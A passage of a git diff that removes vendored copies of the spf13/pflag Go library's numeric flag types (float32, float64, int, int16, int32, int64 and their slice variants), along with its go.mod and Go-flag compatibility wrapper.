CommandLine.VarP(newFloat32SliceValue(value, p), name, shorthand, usage) -} - -// Float32Slice defines a []float32 flag with specified name, default value, and usage string. -// The return value is the address of a []float32 variable that stores the value of the flag. -func (f *FlagSet) Float32Slice(name string, value []float32, usage string) *[]float32 { - p := []float32{} - f.Float32SliceVarP(&p, name, "", value, usage) - return &p -} - -// Float32SliceP is like Float32Slice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float32SliceP(name, shorthand string, value []float32, usage string) *[]float32 { - p := []float32{} - f.Float32SliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// Float32Slice defines a []float32 flag with specified name, default value, and usage string. -// The return value is the address of a []float32 variable that stores the value of the flag. -func Float32Slice(name string, value []float32, usage string) *[]float32 { - return CommandLine.Float32SliceP(name, "", value, usage) -} - -// Float32SliceP is like Float32Slice, but accepts a shorthand letter that can be used after a single dash. -func Float32SliceP(name, shorthand string, value []float32, usage string) *[]float32 { - return CommandLine.Float32SliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/float64.go b/vendor/github.com/spf13/pflag/float64.go deleted file mode 100644 index 04b5492a7d..0000000000 --- a/vendor/github.com/spf13/pflag/float64.go +++ /dev/null @@ -1,84 +0,0 @@ -package pflag - -import "strconv" - -// -- float64 Value -type float64Value float64 - -func newFloat64Value(val float64, p *float64) *float64Value { - *p = val - return (*float64Value)(p) -} - -func (f *float64Value) Set(s string) error { - v, err := strconv.ParseFloat(s, 64) - *f = float64Value(v) - return err -} - -func (f *float64Value) Type() string { - return "float64" -} - -func (f *float64Value) String() string { return strconv.FormatFloat(float64(*f), 'g', -1, 64) } - -func float64Conv(sval string) (interface{}, error) { - return strconv.ParseFloat(sval, 64) -} - -// GetFloat64 return the float64 value of a flag with the given name -func (f *FlagSet) GetFloat64(name string) (float64, error) { - val, err := f.getFlagType(name, "float64", float64Conv) - if err != nil { - return 0, err - } - return val.(float64), nil -} - -// Float64Var defines a float64 flag with specified name, default value, and usage string. -// The argument p points to a float64 variable in which to store the value of the flag. -func (f *FlagSet) Float64Var(p *float64, name string, value float64, usage string) { - f.VarP(newFloat64Value(value, p), name, "", usage) -} - -// Float64VarP is like Float64Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float64VarP(p *float64, name, shorthand string, value float64, usage string) { - f.VarP(newFloat64Value(value, p), name, shorthand, usage) -} - -// Float64Var defines a float64 flag with specified name, default value, and usage string. -// The argument p points to a float64 variable in which to store the value of the flag. -func Float64Var(p *float64, name string, value float64, usage string) { - CommandLine.VarP(newFloat64Value(value, p), name, "", usage) -} - -// Float64VarP is like Float64Var, but accepts a shorthand letter that can be used after a single dash. -func Float64VarP(p *float64, name, shorthand string, value float64, usage string) { - CommandLine.VarP(newFloat64Value(value, p), name, shorthand, usage) -} - -// Float64 defines a float64 flag with specified name, default value, and usage string. -// The return value is the address of a float64 variable that stores the value of the flag. -func (f *FlagSet) Float64(name string, value float64, usage string) *float64 { - p := new(float64) - f.Float64VarP(p, name, "", value, usage) - return p -} - -// Float64P is like Float64, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float64P(name, shorthand string, value float64, usage string) *float64 { - p := new(float64) - f.Float64VarP(p, name, shorthand, value, usage) - return p -} - -// Float64 defines a float64 flag with specified name, default value, and usage string. -// The return value is the address of a float64 variable that stores the value of the flag. -func Float64(name string, value float64, usage string) *float64 { - return CommandLine.Float64P(name, "", value, usage) -} - -// Float64P is like Float64, but accepts a shorthand letter that can be used after a single dash. -func Float64P(name, shorthand string, value float64, usage string) *float64 { - return CommandLine.Float64P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/float64_slice.go b/vendor/github.com/spf13/pflag/float64_slice.go deleted file mode 100644 index 85bf3073d5..0000000000 --- a/vendor/github.com/spf13/pflag/float64_slice.go +++ /dev/null @@ -1,166 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- float64Slice Value -type float64SliceValue struct { - value *[]float64 - changed bool -} - -func newFloat64SliceValue(val []float64, p *[]float64) *float64SliceValue { - isv := new(float64SliceValue) - isv.value = p - *isv.value = val - return isv -} - -func (s *float64SliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]float64, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.ParseFloat(d, 64) - if err != nil { - return err - } - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *float64SliceValue) Type() string { - return "float64Slice" -} - -func (s *float64SliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%f", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *float64SliceValue) fromString(val string) (float64, error) { - return strconv.ParseFloat(val, 64) -} - -func (s *float64SliceValue) toString(val float64) string { - return fmt.Sprintf("%f", val) -} - -func (s *float64SliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *float64SliceValue) Replace(val []string) error { - out := make([]float64, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *float64SliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func float64SliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []float64{}, nil - } - ss := strings.Split(val, ",") - out := make([]float64, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.ParseFloat(d, 64) - if err != nil { - return nil, err - } - - } - return out, nil -} - -// GetFloat64Slice return the []float64 value of a flag with the given name -func (f *FlagSet) GetFloat64Slice(name string) ([]float64, error) { - val, err := f.getFlagType(name, "float64Slice", float64SliceConv) - if err != nil { - return []float64{}, err - } - return val.([]float64), nil -} - -// Float64SliceVar defines a float64Slice flag with specified name, default value, and usage string. -// The argument p points to a []float64 variable in which to store the value of the flag. -func (f *FlagSet) Float64SliceVar(p *[]float64, name string, value []float64, usage string) { - f.VarP(newFloat64SliceValue(value, p), name, "", usage) -} - -// Float64SliceVarP is like Float64SliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float64SliceVarP(p *[]float64, name, shorthand string, value []float64, usage string) { - f.VarP(newFloat64SliceValue(value, p), name, shorthand, usage) -} - -// Float64SliceVar defines a float64[] flag with specified name, default value, and usage string. -// The argument p points to a float64[] variable in which to store the value of the flag. -func Float64SliceVar(p *[]float64, name string, value []float64, usage string) { - CommandLine.VarP(newFloat64SliceValue(value, p), name, "", usage) -} - -// Float64SliceVarP is like Float64SliceVar, but accepts a shorthand letter that can be used after a single dash. -func Float64SliceVarP(p *[]float64, name, shorthand string, value []float64, usage string) { - CommandLine.VarP(newFloat64SliceValue(value, p), name, shorthand, usage) -} - -// Float64Slice defines a []float64 flag with specified name, default value, and usage string. -// The return value is the address of a []float64 variable that stores the value of the flag. -func (f *FlagSet) Float64Slice(name string, value []float64, usage string) *[]float64 { - p := []float64{} - f.Float64SliceVarP(&p, name, "", value, usage) - return &p -} - -// Float64SliceP is like Float64Slice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Float64SliceP(name, shorthand string, value []float64, usage string) *[]float64 { - p := []float64{} - f.Float64SliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// Float64Slice defines a []float64 flag with specified name, default value, and usage string. -// The return value is the address of a []float64 variable that stores the value of the flag. -func Float64Slice(name string, value []float64, usage string) *[]float64 { - return CommandLine.Float64SliceP(name, "", value, usage) -} - -// Float64SliceP is like Float64Slice, but accepts a shorthand letter that can be used after a single dash. -func Float64SliceP(name, shorthand string, value []float64, usage string) *[]float64 { - return CommandLine.Float64SliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/go.mod b/vendor/github.com/spf13/pflag/go.mod deleted file mode 100644 index b2287eec13..0000000000 --- a/vendor/github.com/spf13/pflag/go.mod +++ /dev/null @@ -1,3 +0,0 @@ -module github.com/spf13/pflag - -go 1.12 diff --git a/vendor/github.com/spf13/pflag/golangflag.go b/vendor/github.com/spf13/pflag/golangflag.go deleted file mode 100644 index d3dd72b7fe..0000000000 --- a/vendor/github.com/spf13/pflag/golangflag.go +++ /dev/null @@ -1,105 +0,0 @@ -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package pflag - -import ( - goflag "flag" - "reflect" - "strings" -) - -// flagValueWrapper implements pflag.Value around a flag.Value. The main -// difference here is the addition of the Type method that returns a string -// name of the type. As this is generally unknown, we approximate that with -// reflection. -type flagValueWrapper struct { - inner goflag.Value - flagType string -} - -// We are just copying the boolFlag interface out of goflag as that is what -// they use to decide if a flag should get "true" when no arg is given. -type goBoolFlag interface { - goflag.Value - IsBoolFlag() bool -} - -func wrapFlagValue(v goflag.Value) Value { - // If the flag.Value happens to also be a pflag.Value, just use it directly. - if pv, ok := v.(Value); ok { - return pv - } - - pv := &flagValueWrapper{ - inner: v, - } - - t := reflect.TypeOf(v) - if t.Kind() == reflect.Interface || t.Kind() == reflect.Ptr { - t = t.Elem() - } - - pv.flagType = strings.TrimSuffix(t.Name(), "Value") - return pv -} - -func (v *flagValueWrapper) String() string { - return v.inner.String() -} - -func (v *flagValueWrapper) Set(s string) error { - return v.inner.Set(s) -} - -func (v *flagValueWrapper) Type() string { - return v.flagType -} - -// PFlagFromGoFlag will return a *pflag.Flag given a *flag.Flag -// If the *flag.Flag.Name was a single character (ex: `v`) it will be accessiblei -// with both `-v` and `--v` in flags. If the golang flag was more than a single -// character (ex: `verbose`) it will only be accessible via `--verbose` -func PFlagFromGoFlag(goflag *goflag.Flag) *Flag { - // Remember the default value as a string; it won't change. - flag := &Flag{ - Name: goflag.Name, - Usage: goflag.Usage, - Value: wrapFlagValue(goflag.Value), - // Looks like golang flags don't set DefValue correctly :-( - //DefValue: goflag.DefValue, - DefValue: goflag.Value.String(), - } - // Ex: if the golang flag was -v, allow both -v and --v to work - if len(flag.Name) == 1 { - flag.Shorthand = flag.Name - } - if fv, ok := goflag.Value.(goBoolFlag); ok && fv.IsBoolFlag() { - flag.NoOptDefVal = "true" - } - return flag -} - -// AddGoFlag will add the given *flag.Flag to the pflag.FlagSet -func (f *FlagSet) AddGoFlag(goflag *goflag.Flag) { - if f.Lookup(goflag.Name) != nil { - return - } - newflag := PFlagFromGoFlag(goflag) - f.AddFlag(newflag) -} - -// AddGoFlagSet will add the given *flag.FlagSet to the pflag.FlagSet -func (f *FlagSet) AddGoFlagSet(newSet *goflag.FlagSet) { - if newSet == nil { - return - } - newSet.VisitAll(func(goflag *goflag.Flag) { - f.AddGoFlag(goflag) - }) - if f.addedGoFlagSets == nil { - f.addedGoFlagSets = make([]*goflag.FlagSet, 0) - } - f.addedGoFlagSets = append(f.addedGoFlagSets, newSet) -} diff --git a/vendor/github.com/spf13/pflag/int.go b/vendor/github.com/spf13/pflag/int.go deleted file mode 100644 index 1474b89df6..0000000000 --- a/vendor/github.com/spf13/pflag/int.go +++ /dev/null @@ -1,84 +0,0 @@ -package pflag - -import "strconv" - -// -- int Value -type intValue int - -func newIntValue(val int, p *int) *intValue { - *p = val - return (*intValue)(p) -} - -func (i *intValue) Set(s string) error { - v, err := strconv.ParseInt(s, 0, 64) - *i = intValue(v) - return err -} - -func (i *intValue) Type() string { - return "int" -} - -func (i *intValue) String() string { return strconv.Itoa(int(*i)) } - -func intConv(sval string) (interface{}, error) { - return strconv.Atoi(sval) -} - -// GetInt return the int value of a flag with the given name -func (f *FlagSet) GetInt(name string) (int, error) { - val, err := f.getFlagType(name, "int", intConv) - if err != nil { - return 0, err - } - return val.(int), nil -} - -// IntVar defines an int flag with specified name, default value, and usage string. -// The argument p points to an int variable in which to store the value of the flag. -func (f *FlagSet) IntVar(p *int, name string, value int, usage string) { - f.VarP(newIntValue(value, p), name, "", usage) -} - -// IntVarP is like IntVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IntVarP(p *int, name, shorthand string, value int, usage string) { - f.VarP(newIntValue(value, p), name, shorthand, usage) -} - -// IntVar defines an int flag with specified name, default value, and usage string. -// The argument p points to an int variable in which to store the value of the flag. -func IntVar(p *int, name string, value int, usage string) { - CommandLine.VarP(newIntValue(value, p), name, "", usage) -} - -// IntVarP is like IntVar, but accepts a shorthand letter that can be used after a single dash. -func IntVarP(p *int, name, shorthand string, value int, usage string) { - CommandLine.VarP(newIntValue(value, p), name, shorthand, usage) -} - -// Int defines an int flag with specified name, default value, and usage string. -// The return value is the address of an int variable that stores the value of the flag. -func (f *FlagSet) Int(name string, value int, usage string) *int { - p := new(int) - f.IntVarP(p, name, "", value, usage) - return p -} - -// IntP is like Int, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IntP(name, shorthand string, value int, usage string) *int { - p := new(int) - f.IntVarP(p, name, shorthand, value, usage) - return p -} - -// Int defines an int flag with specified name, default value, and usage string. -// The return value is the address of an int variable that stores the value of the flag. -func Int(name string, value int, usage string) *int { - return CommandLine.IntP(name, "", value, usage) -} - -// IntP is like Int, but accepts a shorthand letter that can be used after a single dash. -func IntP(name, shorthand string, value int, usage string) *int { - return CommandLine.IntP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int16.go b/vendor/github.com/spf13/pflag/int16.go deleted file mode 100644 index f1a01d05e6..0000000000 --- a/vendor/github.com/spf13/pflag/int16.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- int16 Value -type int16Value int16 - -func newInt16Value(val int16, p *int16) *int16Value { - *p = val - return (*int16Value)(p) -} - -func (i *int16Value) Set(s string) error { - v, err := strconv.ParseInt(s, 0, 16) - *i = int16Value(v) - return err -} - -func (i *int16Value) Type() string { - return "int16" -} - -func (i *int16Value) String() string { return strconv.FormatInt(int64(*i), 10) } - -func int16Conv(sval string) (interface{}, error) { - v, err := strconv.ParseInt(sval, 0, 16) - if err != nil { - return 0, err - } - return int16(v), nil -} - -// GetInt16 returns the int16 value of a flag with the given name -func (f *FlagSet) GetInt16(name string) (int16, error) { - val, err := f.getFlagType(name, "int16", int16Conv) - if err != nil { - return 0, err - } - return val.(int16), nil -} - -// Int16Var defines an int16 flag with specified name, default value, and usage string. -// The argument p points to an int16 variable in which to store the value of the flag. -func (f *FlagSet) Int16Var(p *int16, name string, value int16, usage string) { - f.VarP(newInt16Value(value, p), name, "", usage) -} - -// Int16VarP is like Int16Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int16VarP(p *int16, name, shorthand string, value int16, usage string) { - f.VarP(newInt16Value(value, p), name, shorthand, usage) -} - -// Int16Var defines an int16 flag with specified name, default value, and usage string. -// The argument p points to an int16 variable in which to store the value of the flag. -func Int16Var(p *int16, name string, value int16, usage string) { - CommandLine.VarP(newInt16Value(value, p), name, "", usage) -} - -// Int16VarP is like Int16Var, but accepts a shorthand letter that can be used after a single dash. -func Int16VarP(p *int16, name, shorthand string, value int16, usage string) { - CommandLine.VarP(newInt16Value(value, p), name, shorthand, usage) -} - -// Int16 defines an int16 flag with specified name, default value, and usage string. -// The return value is the address of an int16 variable that stores the value of the flag. -func (f *FlagSet) Int16(name string, value int16, usage string) *int16 { - p := new(int16) - f.Int16VarP(p, name, "", value, usage) - return p -} - -// Int16P is like Int16, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int16P(name, shorthand string, value int16, usage string) *int16 { - p := new(int16) - f.Int16VarP(p, name, shorthand, value, usage) - return p -} - -// Int16 defines an int16 flag with specified name, default value, and usage string. -// The return value is the address of an int16 variable that stores the value of the flag. -func Int16(name string, value int16, usage string) *int16 { - return CommandLine.Int16P(name, "", value, usage) -} - -// Int16P is like Int16, but accepts a shorthand letter that can be used after a single dash. -func Int16P(name, shorthand string, value int16, usage string) *int16 { - return CommandLine.Int16P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int32.go b/vendor/github.com/spf13/pflag/int32.go deleted file mode 100644 index 9b95944f0f..0000000000 --- a/vendor/github.com/spf13/pflag/int32.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- int32 Value -type int32Value int32 - -func newInt32Value(val int32, p *int32) *int32Value { - *p = val - return (*int32Value)(p) -} - -func (i *int32Value) Set(s string) error { - v, err := strconv.ParseInt(s, 0, 32) - *i = int32Value(v) - return err -} - -func (i *int32Value) Type() string { - return "int32" -} - -func (i *int32Value) String() string { return strconv.FormatInt(int64(*i), 10) } - -func int32Conv(sval string) (interface{}, error) { - v, err := strconv.ParseInt(sval, 0, 32) - if err != nil { - return 0, err - } - return int32(v), nil -} - -// GetInt32 return the int32 value of a flag with the given name -func (f *FlagSet) GetInt32(name string) (int32, error) { - val, err := f.getFlagType(name, "int32", int32Conv) - if err != nil { - return 0, err - } - return val.(int32), nil -} - -// Int32Var defines an int32 flag with specified name, default value, and usage string. -// The argument p points to an int32 variable in which to store the value of the flag. -func (f *FlagSet) Int32Var(p *int32, name string, value int32, usage string) { - f.VarP(newInt32Value(value, p), name, "", usage) -} - -// Int32VarP is like Int32Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int32VarP(p *int32, name, shorthand string, value int32, usage string) { - f.VarP(newInt32Value(value, p), name, shorthand, usage) -} - -// Int32Var defines an int32 flag with specified name, default value, and usage string. -// The argument p points to an int32 variable in which to store the value of the flag. -func Int32Var(p *int32, name string, value int32, usage string) { - CommandLine.VarP(newInt32Value(value, p), name, "", usage) -} - -// Int32VarP is like Int32Var, but accepts a shorthand letter that can be used after a single dash. -func Int32VarP(p *int32, name, shorthand string, value int32, usage string) { - CommandLine.VarP(newInt32Value(value, p), name, shorthand, usage) -} - -// Int32 defines an int32 flag with specified name, default value, and usage string. -// The return value is the address of an int32 variable that stores the value of the flag. -func (f *FlagSet) Int32(name string, value int32, usage string) *int32 { - p := new(int32) - f.Int32VarP(p, name, "", value, usage) - return p -} - -// Int32P is like Int32, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int32P(name, shorthand string, value int32, usage string) *int32 { - p := new(int32) - f.Int32VarP(p, name, shorthand, value, usage) - return p -} - -// Int32 defines an int32 flag with specified name, default value, and usage string. -// The return value is the address of an int32 variable that stores the value of the flag. -func Int32(name string, value int32, usage string) *int32 { - return CommandLine.Int32P(name, "", value, usage) -} - -// Int32P is like Int32, but accepts a shorthand letter that can be used after a single dash. -func Int32P(name, shorthand string, value int32, usage string) *int32 { - return CommandLine.Int32P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int32_slice.go b/vendor/github.com/spf13/pflag/int32_slice.go deleted file mode 100644 index ff128ff06d..0000000000 --- a/vendor/github.com/spf13/pflag/int32_slice.go +++ /dev/null @@ -1,174 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- int32Slice Value -type int32SliceValue struct { - value *[]int32 - changed bool -} - -func newInt32SliceValue(val []int32, p *[]int32) *int32SliceValue { - isv := new(int32SliceValue) - isv.value = p - *isv.value = val - return isv -} - -func (s *int32SliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]int32, len(ss)) - for i, d := range ss { - var err error - var temp64 int64 - temp64, err = strconv.ParseInt(d, 0, 32) - if err != nil { - return err - } - out[i] = int32(temp64) - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *int32SliceValue) Type() string { - return "int32Slice" -} - -func (s *int32SliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%d", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *int32SliceValue) fromString(val string) (int32, error) { - t64, err := strconv.ParseInt(val, 0, 32) - if err != nil { - return 0, err - } - return int32(t64), nil -} - -func (s *int32SliceValue) toString(val int32) string { - return fmt.Sprintf("%d", val) -} - -func (s *int32SliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *int32SliceValue) Replace(val []string) error { - out := make([]int32, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *int32SliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func int32SliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []int32{}, nil - } - ss := strings.Split(val, ",") - out := make([]int32, len(ss)) - for i, d := range ss { - var err error - var temp64 int64 - temp64, err = strconv.ParseInt(d, 0, 32) - if err != nil { - return nil, err - } - out[i] = int32(temp64) - - } - return out, nil -} - -// GetInt32Slice return the []int32 value of a flag with the given name -func (f *FlagSet) GetInt32Slice(name string) ([]int32, error) { - val, err := f.getFlagType(name, "int32Slice", int32SliceConv) - if err != nil { - return []int32{}, err - } - return val.([]int32), nil -} - -// Int32SliceVar defines a int32Slice flag with specified name, default value, and usage string. -// The argument p points to a []int32 variable in which to store the value of the flag. -func (f *FlagSet) Int32SliceVar(p *[]int32, name string, value []int32, usage string) { - f.VarP(newInt32SliceValue(value, p), name, "", usage) -} - -// Int32SliceVarP is like Int32SliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int32SliceVarP(p *[]int32, name, shorthand string, value []int32, usage string) { - f.VarP(newInt32SliceValue(value, p), name, shorthand, usage) -} - -// Int32SliceVar defines a int32[] flag with specified name, default value, and usage string. -// The argument p points to a int32[] variable in which to store the value of the flag. -func Int32SliceVar(p *[]int32, name string, value []int32, usage string) { - CommandLine.VarP(newInt32SliceValue(value, p), name, "", usage) -} - -// Int32SliceVarP is like Int32SliceVar, but accepts a shorthand letter that can be used after a single dash. -func Int32SliceVarP(p *[]int32, name, shorthand string, value []int32, usage string) { - CommandLine.VarP(newInt32SliceValue(value, p), name, shorthand, usage) -} - -// Int32Slice defines a []int32 flag with specified name, default value, and usage string. -// The return value is the address of a []int32 variable that stores the value of the flag. -func (f *FlagSet) Int32Slice(name string, value []int32, usage string) *[]int32 { - p := []int32{} - f.Int32SliceVarP(&p, name, "", value, usage) - return &p -} - -// Int32SliceP is like Int32Slice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int32SliceP(name, shorthand string, value []int32, usage string) *[]int32 { - p := []int32{} - f.Int32SliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// Int32Slice defines a []int32 flag with specified name, default value, and usage string. -// The return value is the address of a []int32 variable that stores the value of the flag. -func Int32Slice(name string, value []int32, usage string) *[]int32 { - return CommandLine.Int32SliceP(name, "", value, usage) -} - -// Int32SliceP is like Int32Slice, but accepts a shorthand letter that can be used after a single dash. -func Int32SliceP(name, shorthand string, value []int32, usage string) *[]int32 { - return CommandLine.Int32SliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int64.go b/vendor/github.com/spf13/pflag/int64.go deleted file mode 100644 index 0026d781d9..0000000000 --- a/vendor/github.com/spf13/pflag/int64.go +++ /dev/null @@ -1,84 +0,0 @@ -package pflag - -import "strconv" - -// -- int64 Value -type int64Value int64 - -func newInt64Value(val int64, p *int64) *int64Value { - *p = val - return (*int64Value)(p) -} - -func (i *int64Value) Set(s string) error { - v, err := strconv.ParseInt(s, 0, 64) - *i = int64Value(v) - return err -} - -func (i *int64Value) Type() string { - return "int64" -} - -func (i *int64Value) String() string { return strconv.FormatInt(int64(*i), 10) } - -func int64Conv(sval string) (interface{}, error) { - return strconv.ParseInt(sval, 0, 64) -} - -// GetInt64 return the int64 value of a flag with the given name -func (f *FlagSet) GetInt64(name string) (int64, error) { - val, err := f.getFlagType(name, "int64", int64Conv) - if err != nil { - return 0, err - } - return val.(int64), nil -} - -// Int64Var defines an int64 flag with specified name, default value, and usage string. -// The argument p points to an int64 variable in which to store the value of the flag. -func (f *FlagSet) Int64Var(p *int64, name string, value int64, usage string) { - f.VarP(newInt64Value(value, p), name, "", usage) -} - -// Int64VarP is like Int64Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int64VarP(p *int64, name, shorthand string, value int64, usage string) { - f.VarP(newInt64Value(value, p), name, shorthand, usage) -} - -// Int64Var defines an int64 flag with specified name, default value, and usage string. -// The argument p points to an int64 variable in which to store the value of the flag. -func Int64Var(p *int64, name string, value int64, usage string) { - CommandLine.VarP(newInt64Value(value, p), name, "", usage) -} - -// Int64VarP is like Int64Var, but accepts a shorthand letter that can be used after a single dash. -func Int64VarP(p *int64, name, shorthand string, value int64, usage string) { - CommandLine.VarP(newInt64Value(value, p), name, shorthand, usage) -} - -// Int64 defines an int64 flag with specified name, default value, and usage string. -// The return value is the address of an int64 variable that stores the value of the flag. -func (f *FlagSet) Int64(name string, value int64, usage string) *int64 { - p := new(int64) - f.Int64VarP(p, name, "", value, usage) - return p -} - -// Int64P is like Int64, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int64P(name, shorthand string, value int64, usage string) *int64 { - p := new(int64) - f.Int64VarP(p, name, shorthand, value, usage) - return p -} - -// Int64 defines an int64 flag with specified name, default value, and usage string. -// The return value is the address of an int64 variable that stores the value of the flag. -func Int64(name string, value int64, usage string) *int64 { - return CommandLine.Int64P(name, "", value, usage) -} - -// Int64P is like Int64, but accepts a shorthand letter that can be used after a single dash. -func Int64P(name, shorthand string, value int64, usage string) *int64 { - return CommandLine.Int64P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int64_slice.go b/vendor/github.com/spf13/pflag/int64_slice.go deleted file mode 100644 index 25464638f3..0000000000 --- a/vendor/github.com/spf13/pflag/int64_slice.go +++ /dev/null @@ -1,166 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- int64Slice Value -type int64SliceValue struct { - value *[]int64 - changed bool -} - -func newInt64SliceValue(val []int64, p *[]int64) *int64SliceValue { - isv := new(int64SliceValue) - isv.value = p - *isv.value = val - return isv -} - -func (s *int64SliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]int64, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.ParseInt(d, 0, 64) - if err != nil { - return err - } - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *int64SliceValue) Type() string { - return "int64Slice" -} - -func (s *int64SliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%d", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *int64SliceValue) fromString(val string) (int64, error) { - return strconv.ParseInt(val, 0, 64) -} - -func (s *int64SliceValue) toString(val int64) string { - return fmt.Sprintf("%d", val) -} - -func (s *int64SliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *int64SliceValue) Replace(val []string) error { - out := make([]int64, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *int64SliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func int64SliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []int64{}, nil - } - ss := strings.Split(val, ",") - out := make([]int64, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.ParseInt(d, 0, 64) - if err != nil { - return nil, err - } - - } - return out, nil -} - -// GetInt64Slice return the []int64 value of a flag with the given name -func (f *FlagSet) GetInt64Slice(name string) ([]int64, error) { - val, err := f.getFlagType(name, "int64Slice", int64SliceConv) - if err != nil { - return []int64{}, err - } - return val.([]int64), nil -} - -// Int64SliceVar defines a int64Slice flag with specified name, default value, and usage string. -// The argument p points to a []int64 variable in which to store the value of the flag. -func (f *FlagSet) Int64SliceVar(p *[]int64, name string, value []int64, usage string) { - f.VarP(newInt64SliceValue(value, p), name, "", usage) -} - -// Int64SliceVarP is like Int64SliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int64SliceVarP(p *[]int64, name, shorthand string, value []int64, usage string) { - f.VarP(newInt64SliceValue(value, p), name, shorthand, usage) -} - -// Int64SliceVar defines a int64[] flag with specified name, default value, and usage string. -// The argument p points to a int64[] variable in which to store the value of the flag. -func Int64SliceVar(p *[]int64, name string, value []int64, usage string) { - CommandLine.VarP(newInt64SliceValue(value, p), name, "", usage) -} - -// Int64SliceVarP is like Int64SliceVar, but accepts a shorthand letter that can be used after a single dash. -func Int64SliceVarP(p *[]int64, name, shorthand string, value []int64, usage string) { - CommandLine.VarP(newInt64SliceValue(value, p), name, shorthand, usage) -} - -// Int64Slice defines a []int64 flag with specified name, default value, and usage string. -// The return value is the address of a []int64 variable that stores the value of the flag. -func (f *FlagSet) Int64Slice(name string, value []int64, usage string) *[]int64 { - p := []int64{} - f.Int64SliceVarP(&p, name, "", value, usage) - return &p -} - -// Int64SliceP is like Int64Slice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int64SliceP(name, shorthand string, value []int64, usage string) *[]int64 { - p := []int64{} - f.Int64SliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// Int64Slice defines a []int64 flag with specified name, default value, and usage string. -// The return value is the address of a []int64 variable that stores the value of the flag. -func Int64Slice(name string, value []int64, usage string) *[]int64 { - return CommandLine.Int64SliceP(name, "", value, usage) -} - -// Int64SliceP is like Int64Slice, but accepts a shorthand letter that 